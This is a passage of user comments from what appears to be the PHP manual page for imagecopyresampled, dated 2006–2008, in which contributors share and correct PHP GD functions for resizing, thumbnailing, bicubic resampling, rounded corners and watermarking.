                $dstW = (int)($scale * $src_w + 0.5);
                $dstH = (int)($scale * $src_h + 0.5);

                // Keep pic centered in frame.
                $dstX = (int)(0.5 * ($w - $dstW));
                $dstY = (int)(0.5 * ($h - $dstH));
            }

            imagecopyresampled(
                $dst_img, $src_img, $dstX, $dstY, 0, 0,
                $dstW, $dstH, $src_w, $src_h);
            imagejpeg($dst_img, $dst);
            imagedestroy($dst_img);
        }
        imagedestroy($src_img);
        return file_exists($dst);
    }
    return false;
}
RandomFeatureRequest 02-Mar-2008 07:51
If anyone felt like implementing Bicubic Sharper and/or Bicubic Smoother, that would seriously rock.
wm at violet dot bg 20-Feb-2008 01:16
This is a fixed version of ImageCopyResampledBicubic posted by liviu.malaescu
The original version wasn't respecting src_x & src_y args

<?php
    function ImageCopyResampledBicubic(&$dst_image, &$src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h)  {
        // we should first cut the piece we are interested in from the source
        $src_img = ImageCreateTrueColor($src_w, $src_h);
        imagecopy($src_img, $src_image, 0, 0, $src_x, $src_y, $src_w, $src_h);

        // this one is used as temporary image
        $dst_img = ImageCreateTrueColor($dst_w, $dst_h);

        ImagePaletteCopy($dst_img, $src_img);
        $rX = $src_w / $dst_w;
        $rY = $src_h / $dst_h;
        $w = 0;
        for ($y = 0; $y < $dst_h; $y++)  {
            $ow = $w; $w = round(($y + 1) * $rY);
            $t = 0;
            for ($x = 0; $x < $dst_w; $x++)  {
                $r = $g = $b = 0; $a = 0;
                $ot = $t; $t = round(($x + 1) * $rX);
                for ($u = 0; $u < ($w - $ow); $u++)  {
                    for ($p = 0; $p < ($t - $ot); $p++)  {
                        $c = ImageColorsForIndex($src_img, ImageColorAt($src_img, $ot + $p, $ow + $u));
                        $r += $c['red'];
                        $g += $c['green'];
                        $b += $c['blue'];
                        $a++;
                    }
                }
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img, $r / $a, $g / $a, $b / $a));
            }
        }

        // apply the temp image over the returned image and use the destination x,y coordinates
        imagecopy($dst_image, $dst_img, $dst_x, $dst_y, 0, 0, $dst_w, $dst_h);

        // we should return true since ImageCopyResampled/ImageCopyResized do it
        return true;
    }
?>
Michael Shepanski 14-Jan-2008 10:09
Here is a function I thought I would share that will resample and copy an image with rounded corners.

<?php
/** ------------------------------------------------------------
 * Copy and resample an image with rounded corners.
 * ----------------------------------------------------------- */
function imageRoundedCopyResampled(&$dstimg, &$srcimg, $dstx, $dsty, $srcx,
                                   $srcy, $dstw, $dsth, $srcw, $srch, $radius) {
    # Resize the Source Image
    $srcResized = imagecreatetruecolor($dstw, $dsth);
    imagecopyresampled($srcResized, $srcimg, 0, 0, $srcx, $srcy,
                       $dstw, $dsth, $srcw, $srch);
    # Copy the Body without corners
    imagecopy($dstimg, $srcResized, $dstx+$radius, $dsty,
              $radius, 0, $dstw-($radius*2), $dsth);
    imagecopy($dstimg, $srcResized, $dstx, $dsty+$radius,
              0, $radius, $dstw, $dsth-($radius*2));
    # Create a list of iterations; array(array(X1, X2, CenterX, CenterY), ...)
    # Iterations in order are: Top-Left, Top-Right, Bottom-Left, Bottom-Right
    $iterations = array(
        array(0, 0, $radius, $radius),
        array($dstw-$radius, 0, $dstw-$radius, $radius),
        array(0, $dsth-$radius, $radius, $dsth-$radius),
        array($dstw-$radius, $dsth-$radius, $dstw-$radius, $dsth-$radius)
    );
    # Loop through each corner 'iteration'
    foreach($iterations as $iteration) {
        list($x1,$y1,$cx,$cy) = $iteration;
        for ($y=$y1; $y<=$y1+$radius; $y++) {
            for ($x=$x1; $x<=$x1+$radius; $x++) {
                # If length (X,Y)->(CX,CY) is less then radius draw the point
                $length = sqrt(pow(($cx - $x), 2) + pow(($cy - $y), 2));
                if ($length < $radius) {
                    imagecopy($dstimg, $srcResized, $x+$dstx, $y+$dsty,
                              $x, $y, 1, 1);
                }
            }
        }
    }
}
?>
matt1walsh DESPAMMER gmail dot com 19-Nov-2007 07:15
None of the stuff I've seen for resizing transparent GIFs works consistently and yields a good image. The hack I thought of is silly, but it works okay -- convert GIF to PNG. This worked for me.

$g_iw is new image width
$g_ih is new image height

$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);

//preserve alpha
imagecolortransparent($img_dst, imagecolorallocate($img_dst, 0, 0, 0));
imagealphablending($img_dst, false);
imagesavealpha($img_dst, true);
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

imagepng($img_dst, $g_dstfile);
imagedestroy($img_dst);
Dave McCourt 12-Nov-2007 05:32
This function is taken from lots of web sources so thanks to all for posting. It creates square or landscape thumbnails from .jpgs  from either portait or landscape original images. I decide in advance which way I want the thumbs to display for consistency. I usually sharpen the images as well post-upload, to save on server resources. I can post this code if anyone wants it. I hope this helps someone...

    # create thumbnails from jpgs
    # usage:
    # create_jpgthumb(uploaded file, final file (with path), thumb height, thumb width, jpg quality, scale thumb (true) or fixed size (false);
    function create_jpgthumb($original, $thumbnail, $max_width, $max_height, $quality, $scale = true) {

        list ($src_width, $src_height, $type, $w) = getimagesize($original);

        if (!$srcImage = @imagecreatefromjpeg($original)) {
            return false;
        }

        # image resizes to natural height and width
        if ($scale == true) {

            if ($src_width > $src_height ) {
                $thumb_width = $max_width;
                $thumb_height = floor($src_height * ($max_width / $src_width));
            } else if ($src_width < $src_height ) {
                $thumb_height = $max_height;
                $thumb_width = floor($src_width * ($max_height / $src_height));
            } else {
                $thumb_width = $max_height;
                $thumb_height = $max_height;
            }

            if (!@$destImage = imagecreatetruecolor($thumb_width, $thumb_height)) {
                return false;
            }

            if (!@imagecopyresampled($destImage, $srcImage, 0, 0, 0, 0, $thumb_width, $thumb_height, $src_width, $src_height)) {
                return false;
            }

        # image is fixed to supplied width and height and cropped
        } else if ($scale == false) {

            $ratio = $max_width / $max_height;

            # thumbnail is landscape
             if ($ratio > 1) {

                # uploaded pic is landscape
                if ($src_width > $src_height) {

                    $thumb_width = $max_width;
                    $thumb_height = ceil($max_width * ($src_height / $src_width));

                    if ($thumb_height > $max_width) {
                        $thumb_height = $max_width;
                        $thumb_width = ceil($max_width * ($src_width / $src_height));
                    }

                # uploaded pic is portrait
                } else {

                    $thumb_height = $max_width;
                    $thumb_width = ceil($max_width * ($src_height / $src_width));

                    if ($thumb_width > $max_width) {
                        $thumb_width = $max_width;
                        $thumb_height = ceil($max_width * ($src_height / $src_width));
                    }

                    $off_h = ($src_height - $src_width) / 2;

                }

                if (!@$destImage = imagecreatetruecolor($max_width, $max_height)) {
                    return false;
                }

                if (!@imagecopyresampled($destImage, $srcImage, 0, 0, 0, $off_h, $thumb_width, $thumb_height, $src_width, $src_height)) {
                    return false;
                }

            # thumbnail is square
             } else {

                if ($src_width > $src_height) {
                    $off_w = ($src_width - $src_height) / 2;
                    $off_h = 0;
                    $src_width = $src_height;
                } else if ($src_height > $src_width) {
                    $off_w = 0;
                    $off_h = ($src_height - $src_width) / 2;
                    $src_height = $src_width;
                } else {
                    $off_w = 0;
                    $off_h = 0;
                }

                if (!@$destImage = imagecreatetruecolor($max_width, $max_height)) {
                    return false;
                }

                if (!@imagecopyresampled($destImage, $srcImage, 0, 0, $off_w, $off_h, $max_width, $max_height, $src_width, $src_height)) {
                    return false;
                }

             }

        }

        @imagedestroy($srcImage);

        if (!@imageantialias($destImage, true)) {
            return false;
        }

        if (!@imagejpeg($destImage, $thumbnail, $quality)) {
            return false;
        }

        @imagedestroy($destImage);

        return true;
    }
tim dot daldini at gmail dot be 03-Oct-2007 08:57
Tim's function is a whole lot faster, however, the quality setting doesnt seem right since resizing very big images doesnt affect quality of the resulting thumbnails that much on quality 1 for example.

Anyone has figured out how to use a more correct quality setting by comparing image surfaces (for example) basing on Tim's function?

images with a total of 10Megapixels that contain 5Megapixels when resized should use the same quality setting like images that contain 1Megapixels but only 0.5 when resized.

Not hard to understand, but the memoryload would be a lot lower if the function could decide to use a setting of quality 1 automatically when resizing big images to small thumbnails. This would be handy especially when using the function for images of various sizes in the same application.
liviu dot malaescu at gmail dot com 25-Sep-2007 12:37
3800x2500px - 2s
3807x6768 - 4.7s
Tested on a core2duo e4300/1gb ram - only one core used.
It reduces first with nearest-neighbour and then with bicubic on the smaller image.
Thumb quality is fine :)

<?php
$cale_in = "test.jpg"; //input-file
$cale_out = "test_thumb.jpg"; //output-file
$make_thumbs = "YES";
$thumbsize[0] = 100;
$thumbsize[1] = 75;
ini_set("memory_limit", "134217728"); // needed for huge pictures

// Bicubic resampling, not written by me
function ImageCopyResampleBicubic
(&$dst_img, &$src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h)  {
    ImagePaletteCopy ($dst_img, $src_img);
    $rX = $src_w / $dst_w;
    $rY = $src_h / $dst_h;
    $w = 0;
    for ($y = $dst_y; $y < $dst_h; $y++)  {
        $ow = $w; $w = round(($y + 1) * $rY);
        $t = 0;
        for ($x = $dst_x; $x < $dst_w; $x++)  {
            $r = $g = $b = 0; $a = 0;
            $ot = $t; $t = round(($x + 1) * $rX);
            for ($u = 0; $u < ($w - $ow); $u++)  {
                for ($p = 0; $p < ($t - $ot); $p++)  {
                    $c = ImageColorsForIndex ($src_img,
ImageColorAt ($src_img, $ot + $p, $ow + $u));
                    $r += $c['red'];
                    $g += $c['green'];
                    $b += $c['blue'];
                    $a++;
                }
            }
            ImageSetPixel ($dst_img, $x, $y,
ImageColorClosest ($dst_img, $r / $a, $g / $a, $b / $a));
        }
    }
}

function makeThumb($cale_in)  {
    global $thumbsize;
    $sursa = imagecreatefromjpeg($cale_in);
    $is_jpeg = getimagesize($cale_in);
    $ws = $is_jpeg[0];
    $hs = $is_jpeg[1];
    if($ws > $thumbsize[0] && $hs > $thumbsize[1])
    {
        $aspect = $ws/$hs;
        if($aspect <= 1.333333)  {
            $hd = $thumbsize[1];
            $wd = floor($hd*$aspect);
        }
        else  {
            $wd = $thumbsize[0];
            $hd = floor($wd/$aspect);
        }
        $Z = ceil(log(($ws*$hs)/(4*$thumbsize[0]*$thumbsize[1])))+1;
        if(log(($ws*$hs)/(4*$thumbsize[0]*$thumbsize[1])) < 0) $Z=1;
        $dx = $dy = 0;
        if($Z > 1) {
            $dest = imagecreatetruecolor(round($ws/$Z), round($hs/$Z));
            for($i=0; $i < $hs; $i+=$Z) {
                for($j=0; $j < $ws; $j+=$Z) {
                    $rgb = imagecolorat($sursa, $j, $i);
                    $r = ($rgb >> 16) & 0xFF;
                    $g = ($rgb >> 8) & 0xFF;
                    $b = $rgb & 0xFF;
                    $pcol = imagecolorallocate($dest, $r, $g, $b);
                    imagesetpixel($dest, $dx, $dy, $pcol);
                    $dx++;
                }
                $dx=0;
                $dy++;
            }
        }
        else
        {
            $dest = imagecreatetruecolor($ws, $hs);
            imagecopy($dest, $sursa, 0, 0, 0, 0, $ws, $hs );
        }
        imagedestroy($sursa);
        $destrs = imagecreatetruecolor($wd, $hd);
        ImageCopyResampleBicubic($destrs,$dest,0,0,0,0,
$wd,$hd,round($ws/$Z),round($hs/$Z));
        ImageJpeg($destrs, $cale_out, 100);
        echo "Z:$Z <b>|</b> ($ws x $hs) -> ($wd x $hd) @ ".$ws/$hs;
    }
}

function mf() {
    list($usec, $sec) = explode(" ", microtime());
    $x[0] = $sec;  $x[1] = $usec;
    return $x;
}

$timp1 = mf(); //starting to count
makeThumb($cale_in); //makes the actual thumb
$timp2 = mf(); //timer ends
$dsec = $timp2[0] - $timp1[0];
$dusec = $timp2[1] - $timp1[1];
echo "<b>|</b> Time : <b>".round($dusec+$dsec,6)."s</b> <b>|</b><br />";

?>
tim at leethost dot com 07-Sep-2007 09:25
Here's an improved and corrected version of my fastimagecopyresampled script.  Because I typically scale entire images it appears my previous code was not properly tested.  In any case, this new script has been thoroughly tested, cleaned up, and enhanced.  The code is a little tighter and quality values between 0 and 1 will yield a mosaic effect (basically lowering quality below the pervious lowest value of 1).  I would still suggest using a quality of 2 to 4 as that's the primary purpose of this script, which is high quality and fast results.  Don't be afraid of using a quality value of 1.5 for extreme cases where you have a bunch of very large images from digital cameras (like those 10M pixel cameras theses days) and creating thumbnails in batch mode.  Even a quality of 1.5 is a big improvement over imagecopyresized and is ultra-fast.

Anyway, enjoy and I hope this is the bug-free last version.

<?
function fastimagecopyresampled (&$dst_image, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h, $quality = 3) {
  // Plug-and-Play fastimagecopyresampled function replaces much slower imagecopyresampled.
  // Just include this function and change all "imagecopyresampled" references to "fastimagecopyresampled".
  // Typically from 30 to 60 times faster when reducing high resolution images down to thumbnail size using the default quality setting.
  // Author: Tim Eckel - Date: 09/07/07 - Version: 1.1 - Project: FreeRingers.net - Freely distributable - These comments must remain.
  //
  // Optional "quality" parameter (defaults is 3). Fractional values are allowed, for example 1.5. Must be greater than zero.
  // Between 0 and 1 = Fast, but mosaic results, closer to 0 increases the mosaic effect.
  // 1 = Up to 350 times faster. Poor results, looks very similar to imagecopyresized.
  // 2 = Up to 95 times faster.  Images appear a little sharp, some prefer this over a quality of 3.
  // 3 = Up to 60 times faster.  Will give high quality smooth results very close to imagecopyresampled, just faster.
  // 4 = Up to 25 times faster.  Almost identical to imagecopyresampled for most images.
  // 5 = No speedup. Just uses imagecopyresampled, no advantage over imagecopyresampled.

  if (empty($src_image) || empty($dst_image) || $quality <= 0) { return false; }
  if ($quality < 5 && (($dst_w * $quality) < $src_w || ($dst_h * $quality) < $src_h)) {
    $temp = imagecreatetruecolor ($dst_w * $quality + 1, $dst_h * $quality + 1);
    imagecopyresized ($temp, $src_image, 0, 0, $src_x, $src_y, $dst_w * $quality + 1, $dst_h * $quality + 1, $src_w, $src_h);
    imagecopyresampled ($dst_image, $temp, $dst_x, $dst_y, 0, 0, $dst_w, $dst_h, $dst_w * $quality, $dst_h * $quality);
    imagedestroy ($temp);
  } else imagecopyresampled ($dst_image, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h);
  return true;
}
?>
eblejr AT phrebh DOT com 05-Sep-2007 11:38
Tim's code is fast, but if you're trying to put resampled images anywhere but in the top-left corner, it doesn't work.
Blendermf 04-Jul-2007 08:48
tim, your resampling gives me better results than the gd function. It looks just as good as what my image resizing software does.
kristijan at leftor dot ba 05-Jun-2007 02:09
There is bug in POST from tim at leethost dot com
25-Jan-2007 02:00.

Function work correctly when you making thumb from 0,0 to width/height. But if you want copy resized picture to other coordinates then you must change code in this:

function fastimagecopyresampled (&$dst_image, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h, $quality = 3) {
 if (empty($src_image) || empty($dst_image)) { return false; }
 if ($quality <= 1)
 {
   $temp = imagecreatetruecolor ($dst_w + 1, $dst_h + 1);
   imagecopyresized ($temp, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w + 1, $dst_h + 1, $src_w, $src_h);
   imagecopyresized ($dst_image, $temp, 0, 0, 0, 0, $dst_w, $dst_h, $dst_w, $dst_h);
   imagedestroy ($temp);
 }
 elseif ($quality < 5 && (($dst_w * $quality) < $src_w || ($dst_h * $quality) < $src_h))
 {
   $tmp_w = $dst_w * $quality;
   $tmp_h = $dst_h * $quality;
   $temp = imagecreatetruecolor ($tmp_w + 1, $tmp_h + 1);
   imagecopyresized ($temp, $src_image, 0, 0, $src_x, $src_y, $tmp_w + 1, $tmp_h + 1, $src_w, $src_h);
   imagecopyresampled ($dst_image, $temp, $dst_x, $dst_y, 0, 0, $dst_w, $dst_h, $tmp_w, $tmp_h);
   imagedestroy ($temp);
 } else
 {
   imagecopyresampled ($dst_image, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h);
 }
 return true;
}
rich at corephp dot co dot uk 20-May-2007 03:05
Be wary of this function when resizing images to make them *larger* than the original due to the memory consumption rate. For example a 200KB JPEG file (1024x768) will take up 4MB of memory when loaded, but when resampled to twice the the size the memory use jumps to 20.1MB. imagecopyresized does the same. Allow approx. 5 bytes per *pixel* for memory allowance when dealing with true colour images.
tim at leethost dot com 25-Jan-2007 02:00
Here's a simple plug-and-play replacement to imagecopyresampled that will deliver results that are almost identical except MUCH faster (very typically 30 times faster).  I've been using this function for a few years but figured everyone could benefit from it.

For example, a 10 megapixel camera image (3872x2592 resolution) converted to thumbnail size using the default quality is 60 times faster than using imagecopyresampled (only 0.15 seconds from 8.9 seconds) and the image quality is almost identical.  There's also an optional "quality" parameter that allows you to select the quality you want (1 is lowest quality but fastest, 5 is highest quality but slowest, 3 is default).  All existing imagecopyresampled parameters fully work so it's truly plug-and-play.  It also automatically decides if it would be better to just use imagecopyresampled depending on source and destination image sizes.

My image analysis shows imagecopyresized renders on average 2.4% of pixels significantly different than imagecopyresampled.  These significantly different pixels give imagecopyresized the jagged, blocky, aliasing look.  Using fastimagecopyresampled with a quality of 2, the significantly different pixel rate is reduced to 0.8%.  With a quality of 3 (the default) it's reduced to 0.5% and at a quality of 4 it's reduced to only 0.03% but is still very typically 10-15 times faster for thumbnail creation.

Enjoy!

<?
function fastimagecopyresampled (&$dst_image, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h, $quality = 3) {
  // Plug-and-Play fastimagecopyresampled function replaces much slower imagecopyresampled.
  // Just include this function and change all "imagecopyresampled" references to "fastimagecopyresampled".
  // Typically from 30 to 60 times faster when reducing high resolution images down to thumbnail size using the default quality setting.
  // Author: Tim Eckel - Date: 12/17/04 - Project: FreeRingers.net - Freely distributable.
  //
  // Optional "quality" parameter (defaults is 3).  Fractional values are allowed, for example 1.5.
  // 1 = Up to 600 times faster.  Poor results, just uses imagecopyresized but removes black edges.
  // 2 = Up to 95 times faster.  Images may appear too sharp, some people may prefer it.
  // 3 = Up to 60 times faster.  Will give high quality smooth results very close to imagecopyresampled.
  // 4 = Up to 25 times faster.  Almost identical to imagecopyresampled for most images.
  // 5 = No speedup.  Just uses imagecopyresampled, highest quality but no advantage over imagecopyresampled.

  if (empty($src_image) || empty($dst_image)) { return false; }
  if ($quality <= 1) {
    $temp = imagecreatetruecolor ($dst_w + 1, $dst_h + 1);
    imagecopyresized ($temp, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w + 1, $dst_h + 1, $src_w, $src_h);
    imagecopyresized ($dst_image, $temp, 0, 0, 0, 0, $dst_w, $dst_h, $dst_w, $dst_h);
    imagedestroy ($temp);
  } elseif ($quality < 5 && (($dst_w * $quality) < $src_w || ($dst_h * $quality) < $src_h)) {
    $tmp_w = $dst_w * $quality;
    $tmp_h = $dst_h * $quality;
    $temp = imagecreatetruecolor ($tmp_w + 1, $tmp_h + 1);
    imagecopyresized ($temp, $src_image, $dst_x * $quality, $dst_y * $quality, $src_x, $src_y, $tmp_w + 1, $tmp_h + 1, $src_w, $src_h);
    imagecopyresampled ($dst_image, $temp, 0, 0, 0, 0, $dst_w, $dst_h, $tmp_w, $tmp_h);
    imagedestroy ($temp);
  } else {
    imagecopyresampled ($dst_image, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h);
  }
  return true;
}
?>
mr bitmap 17-Nov-2006 07:18
For all those that are using imagecreatefromwbmp() for.BMP files, I believe you are wrong.

imagecreatefromwbmp() is for WBMP image files used for WAP devices not windows BMP images.

I don't think PHP has any built in Windows BMP functions.

There are many examples here that make this mistake.

See the documentation for imagecreatefromwbmp()
caio at daisuki dot com dot br 14-Jul-2006 02:51
Ok guys, the ultimate image merging tool, enjoy:

  function watermark($sourcefile, $watermarkfiles, $destination, $quality=90) {
  /*

    $sourcefile = Filename of the picture to be watermarked.
    $watermarkfile = files to add. Each is: array ( 'filename' => filename , 'position' => position to show(array), 'resample' => new dimension(array) )
       You can omit any except filename
    $destination = jpg or png file to output (jpg if source is jpg, png if source is png). Send blank to direct output
    Sample:

    $batch = array ( array ( 'filename' => "watermark.png",
                             'position' => array(100,0),
                           ),
                    array ( 'filename' => "brilho.png",
                            'position' => array(200,200),
                            'resample' => array(30,30)
                           )
                   );
    watermark("picture.jpg", $batch, "", 90); <--  will add both images in bath on top of picture, preserving transparency

  */

  $ih = getimagesize($sourcefile);
  $ispng = $ih[2] == 3;
  if ($ispng)
    $sourcefile_id = imagecreatefrompng($sourcefile);
  else
    $sourcefile_id = imagecreatefromjpeg($sourcefile);

  $sourcefile_width=imageSX($sourcefile_id);
  $sourcefile_height=imageSY($sourcefile_id);

  foreach ($watermarkfiles as $x => $watermarkfile) {
    $watermarkfile_id = imagecreatefrompng($watermarkfile['filename']);
    imageAlphaBlending($watermarkfile_id, false);
    imageSaveAlpha($watermarkfile_id, true);
    $watermarkfile_width=imageSX($watermarkfile_id);
    $watermarkfile_height=imageSY($watermarkfile_id);

    // resample?
    if (isset($watermarkfile['resample'])) {
      $im_dest = imagecreatetruecolor ($watermarkfile['resample'][0], $watermarkfile['resample'][1]);
      imagealphablending($im_dest, false);
      imagecopyresampled($im_dest, $watermarkfile_id, 0, 0, 0, 0, $watermarkfile['resample'][0], $watermarkfile['resample'][1], $watermarkfile_width, $watermarkfile_height);
      imagesavealpha($im_dest, true);
      imagedestroy($watermarkfile_id);
      $watermarkfile_id = $im_dest;
      $watermarkfile_width = $watermarkfile['resample'][0];
      $watermarkfile_height = $watermarkfile['resample'][1];
    }

    // position ? if none given, centered
    if (isset($watermarkfile['position']))
      list($dest_x,$dest_y) = $watermarkfile['position'];
    else {
      $dest_x = ( $sourcefile_width / 2 ) - ( $watermarkfile_width / 2 ); // centered
      $dest_y = ( $sourcefile_height / 2 ) - ( $watermarkfile_height / 2 ); // centered
    }

    imagecopy($sourcefile_id, $watermarkfile_id, $dest_x, $dest_y, 0, 0, $watermarkfile_width, $watermarkfile_height);
    imagedestroy($watermarkfile_id);
  }
  if ($ispng)
    imagepng($sourcefile_id,$destination);
  else
    imagejpeg($sourcefile_id,$destination,$quality);
  imagedestroy($sourcefile_id);
}
spencejames2000 at yahoo dot co dot uk 13-May-2006 06:27
For anyone suffering from the srcX and srcY bug (some versions of gd ignore them completely - see http://bugs.php.net/bug.php?id=12780 for details), a quick solution is to use this code snippet:

<?php
function imgcopyresampled(&$dst_img, $src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h)
{
    $tmp_img = imagecreatetruecolor($src_w, $src_h);
    $rv2 = imagecopy($tmp_img, $src_img, 0,0, $src_x, $src_y, $src_w, $src_h);
    $rv1 = imagecopyresampled($dst_img, $tmp_img, $dst_x,$dst_y, 0,0, $dst_w, $dst_h, $src_w, $src_h);
    imagedestroy($tmp_img);
    return($rv1 and $rv2);
}
?>

By using imagecopy to extract the relevant portion of the source image, it works a lot more quickly than pike's solution below, and also without the extra blur.

It may be useful to use override_function in existing projects, although I have not tested this myself.
Tyron Madlener (tyron.at) 11-May-2006 01:43
Creating a thumbnail (120x90 pixel) of a big image (3000x2000 pixel) took me about 5 seconds with imagecopyresampled()

Thats pretty much, so I tested a little how I could improve the speed. I found that imagecopyresized is way faster but results in poor quality.
So I combined both - I first reduce the big image via imagecopyresized to 1024x768 pixel and then create the small thumbnail via imagecopyresampled. The resulting quality is almost the same. In my tests, resizing took only about 2.2 seconds now - twice as fast :)

I also tried using that bicubic image resizing function in some earlier post here, but it was only faster when the thumbnails were smaller than 120x90 and the quality was not very good.

Here's the code if you wanna (I guess there are still a few possibilites to do some more optimiztions tough):

<?php
function CreateThumb($file,$maxwdt,$maxhgt, $dest) {
    list($owdt,$ohgt,$otype)=@getimagesize($file);

  switch($otype) {
    case 1:  $newimg=imagecreatefromgif($file); break;
    case 2:  $newimg=imagecreatefromjpeg($file); break;
    case 3:  $newimg=imagecreatefrompng($file); break;
    default: echo "Unkown filetype (file $file, typ $otype)"; return;
  }

  if($newimg) {
    if($owdt>1500 || $ohgt>1200)
            list($owdt, $ohgt) = Resample($newimg, $owdt, $ohgt, 1024,768,0);

    Resample($newimg, $owdt, $ohgt, $maxwdt, $maxhgt);

        if(!$dest) return $newimg;

        if(!is_dir(dirname($dest)))
            mkdir(dirname($dest));

    switch($otype) {
      case 1: imagegif($newimg,dest); break;
      case 2: imagejpeg($newimg,$dest,90); break;
      case 3: imagepng($newimg,$dest);  break;
    }

        imagedestroy($newimg);

    chmod($dest,0644);
  }
}

function Resample(&$img, $owdt, $ohgt, $maxwdt, $maxhgt, $quality=1) {
  if(!$maxwdt) $divwdt=0;
   else $divwdt=Max(1,$owdt/$maxwdt);

  if(!$maxhgt) $divhgt=0;
   else $divhgt=Max(1,$ohgt/$maxhgt);

  if($divwdt>=$divhgt) {
    $newwdt=$maxwdt;
    $newhgt=round($ohgt/$divwdt);
  } else {
    $newhgt=$maxhgt;
    $newwdt=round($owdt/$divhgt);
  }

    $tn=imagecreatetruecolor($newwdt,$newhgt);
    if($quality)
        imagecopyresampled($tn,$img,0,0,0,0,$newwdt,$newhgt,$owdt,$ohgt);
    else
        imagecopyresized($tn,$img,0,0,0,0,$newwdt,$newhgt,$owdt,$ohgt);

    imagedestroy($img);

    $img = $tn;

    return array($newwdt, $newhgt);
}
?>
mracek at xko dot cz 09-Mar-2006 12:01
Here is function which:
- resize and crop (crop format 4:3 or 1:1)
- methode resample/resize
- open jpg, gif, bmp, png
- save jpg (85%), gif, bmp, png
- show images

$FILE_MIMES = array(
'image/pjpeg'=>"jpg",
'image/jpeg'=>"jpg",
'image/jpg'=>"jpg",
'image/png'=>"png",
'image/x-png'=>"png",
'image/gif'=>"gif",
'image/bmp'=>"bmp");
$FILE_EXTS  = array('.jpeg','.jpg','.png','.gif','.bmp');
$MAX_SIZE  = 16777216;

$lng=array(
's_imgDimension'=>array(
       "80",
       "320"
       ),
's_imgCrop'    =>array(
       "- auto -",
       "na sirku",
       "na vysku",
       "ctverec",
       "- zadne -"
       ),
's_imgFormat'    =>array(
       "4/3",
       "1/1"
       ),
's_imgType'    =>array(
       "jpg",
       "png",
       "gif",
       "bmp"
       ),
's_imgMethode'    =>array(
       "resample",
       "resize"
       )
);

function PPimageTransform($photo1,$type1,$dim,$crop,
$format,$methode,$photo2,$type2)
{
if ($photo1!=="" && File_Exists($photo1))
{
   if (!($crop>0 && $crop<5)) $crop=0;
   width=x"
   list($w,$h) = GetImageSize($photo1);
   $w=($w<1)?1:$w;
   $h=($h<1)?1:$h;
   $wh=$w/$h;

   // format
   $format=($format=='4/3')?4/3:1;

   // auto crop
   if ($crop==0)
       {
       $z1=$format-  ($format-1)/2;
       $z2=$format+(1-$format-1)/2;
           if ($wh>$z1) {$crop=1;}
       elseif ($wh<$z2) {$crop=2;}
       else        {$crop=3;}
       }

   // scale
   if ($crop==4)
       {
       $a=$w>$h?$w:$h;
       $scale=$dim/$a;
       $nw=$w*$scale;$nw=($nw<1)?1:$nw;
       $nh=$h*$scale;$nh=($nh<1)?1:$nh;

       $d=array(0,0,floor($nw),floor($nh));
       $s=array(0,0,$w,$h);
       }
   else
       {
           if ($crop==3) {$nw=1;$nh=1;}
       elseif ($crop==2) {$nw=1/$format;$nh=1;}
       elseif ($crop==1) {$nw=1;$nh=1/$format;}
       $nw*=$dim;$nw=($nw<1)?1:$nw;
       $nh*=$dim;$nh=($nh<1)?1:$nh;

       $s1=$nw/$w;
       $s2=$nh/$h;
       $h1=$nh*$s1;
       $w2=$nw*$s2;

       $s1=($h1<=$nh)?$s1:0;
       $s2=($w2<=$nw)?$s2:0;
       $scale=($s1>$s2)?$s1:$s2;
       $scale=($scale<=0)?1:$scale;

       $d=array(0,0,floor($nw),floor($nh));
       $x1=floor(($w-$d[2]/$scale)/2);$x1=$x1<0?0:$x1;
       $y1=floor(($h-$d[3]/$scale)/2);$y1=$y1<0?0:$y1;
       $s=array($x1,$y1,floor($w-2*$x1),floor($h-2*$y1));
       }

   // input/output
   switch($type1)
       {
       case 'jpg': $imgIn = ImageCreateFromJPEG; break;
       case 'png': $imgIn = ImageCreateFromPNG;  break;
       case 'gif': $imgIn = ImageCreateFromGIF;  break;
       case 'bmp': $imgIn = ImageCreateFromWBMP; break;
       default: return FALSE; break;
       }
   switch($type2)
       {
       case 'jpg': $imgOut = ImageJPEG; break;
       case 'png': $imgOut = ImagePNG;  break;
       case 'gif': $imgOut = ImageGIF;  break;
       case 'bmp': $imgOut = ImageWBMP; break;
       default: return FALSE; break;
       }

   // resample (d-destination, s-source)
   $image1 = $imgIn($photo1);
   if ($methode==0)
       {
       $image2 = ImageCreateTruecolor($d[2],$d[3]);
       ImageCopyResampled($image2, $image1,
 $d[0],$d[1], $s[0],$s[1], $d[2],$d[3], $s[2],$s[3]);
       }
   else    {
       $image2 = ImageCreate($d[2],$d[3]);
       ImageCopyResized($image2, $image1,
$d[0],$d[1], $s[0],$s[1], $d[2],$d[3], $s[2],$s[3]);
       }

   // output
   if ($type2=='jpg')
       {$imgOut($image2,$photo2,85);}
   else    {$imgOut($image2,$photo2);}
   ImageDestroy($image2);
   ImageDestroy($image1);
   }
}
dmitry at dest dot by 07-Mar-2006 06:03
Simple script on change of width and automatic creation of height, and also creation of the signature in the right we string to a corner. (Only for Jpg)

function easyResize($img_sourse, $save_to, $quality, $width, $str) {
$size = GetImageSize($img_sourse);
    $im_in = ImageCreateFromJPEG($img_sourse);

    $new_height = ($width * $size[1]) / $size[0]; // Generate new height for image
    $im_out = imagecreatetruecolor($width, $new_height);

    ImageCopyResampled($im_out, $im_in, 0, 0, 0, 0, $width, $new_height, $size[0], $size[1]);

    #Find X & Y for note
    $X_var = ImageSX($im_out);
    $X_var = $X_var - 130;
    $Y_var = ImageSY($im_out);
    $Y_var = $Y_var - 25;

    #Color
